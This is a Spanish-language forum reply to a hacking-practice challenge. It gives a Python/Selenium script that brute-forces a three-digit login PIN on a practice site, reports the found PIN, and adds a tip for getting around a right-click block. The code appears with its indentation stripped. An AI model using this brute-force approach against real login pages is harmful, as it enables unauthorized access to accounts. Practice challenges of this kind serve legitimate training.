recién veo el desafío porque no soy de mirar esta parte del foro, la verdad seguro se puede hacer de otra forma, pero es para alguien que sepa más que yo, ahora como vi que lo resuelven por bruteforce con vb.net voy a mostrar otra forma de hacer lo mismo con python
#-*- coding:utf-8 -*-
import time,unittest
from selenium import webdriver
pagina = webdriver.Firefox()
pagina.get("http://practicashacking.net23.net/login.php")
numero=0
while numero < 1000:
if numero < 100:
numero=str(numero).zfill(3)
llenar=numero
numero=int(numero)
pin = pagina.find_element_by_name("digi")
pin.clear()
pin.send_keys(llenar)
acceder = pagina.find_element_by_name("enviar")
acceder.click()
chico_malo=pagina.find_elements_by_xpath("//img[@src='access-denied.png']")
if len(chico_malo) == 1:
pagina.back()
numero+=1
else:
print(numero)
pagina.quit()
else:
llenar=numero
pin = pagina.find_element_by_name("digi")
pin.clear()
pin.send_keys(llenar)
acceder = pagina.find_element_by_name("enviar")
acceder.click()
chico_malo=pagina.find_elements_by_xpath("//img[@src='access-denied.png']")
if len(chico_malo) == 1:
pagina.back()
numero+=1
else:
print(numero)
pagina.quit()
>>>795
se puede mejorar mucho con clases e hilos(pero eso es un tutorial aparte) para agilizar la búsqueda y creo pero no estoy del todo seguro en cuanto a web, también usar CUDA,además de eliminar algún error.
Otra cosa, vi que Flamer pusiste como saltar lo del click derecho por medio de edición de código, es mucho más facil si simplemente presionas simultaneamente Shift + click-derecho
Saludos.